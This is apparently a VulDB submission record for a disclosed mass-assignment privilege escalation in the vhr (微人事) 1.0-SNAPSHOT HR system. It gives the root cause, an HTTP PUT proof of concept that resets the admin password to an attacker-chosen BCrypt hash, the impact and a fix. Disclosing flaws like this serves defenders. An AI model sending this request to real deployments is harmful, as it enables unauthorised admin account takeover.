| Titel | lenve vhr 1.0-SNAPSHOT Improper Input Validation |
|---|
| Beschreibung | vhr(微人事) — Mass Assignment Privilege Escalation via PUT /hr/info (VHR-VULN-001)
Product: vhr(微人事) 1.0-SNAPSHOT
CWE: CWE-915 / CWE-269
Classification: Improper Input Validation
=== ROOT CAUSE ===
`HrInfoController.updateHr()` binds request JSON to `Hr` without ownership check. `HrMapper.xml` updates `password` when present.
=== REPRODUCTION ===
Low-privilege user `libai` can PUT `/hr/info` with another user's `id` and set `password` to a self-generated BCrypt hash, resetting admin credentials.
PoC:
PUT /hr/info HTTP/1.1
Host: TARGET
Content-Type: application/json
Cookie: JSESSIONID=SESSION_LIBAI
Connection: close
{"id":3,"password":"$2a$10$BCryptHashHere","enabled":true,"username":"admin"}
Expected: {"status":200,"msg":"更新成功!"} — then admin login with new password
=== IMPACT ===
Vertical privilege escalation to ROLE_admin without prior admin access.
=== FIX ===
Bind updates to session user id; forbid password/username/enabled via this endpoint.
|
|---|
| Quelle | ⚠️ https://github.com/ArrestX/vhr-advisories/blob/main/advisories/VHR-VULN-001-mass-assignment-privesc.md |
|---|
| Benutzer | Anonymous User |
|---|
| Einreichung | 16.07.2026 13:54 (vor 2 Monaten) |
|---|
| Moderieren | 12.09.2026 10:24 (2 months later) |
|---|
| Status | Akzeptiert |
|---|
| VulDB Eintrag | 403089 [lenve vhr 1.0-SNAPSHOT HrMapper.xml HrInfoController.updateHr Passwort erweiterte Rechte] |
|---|
| Punkte | 20 |
|---|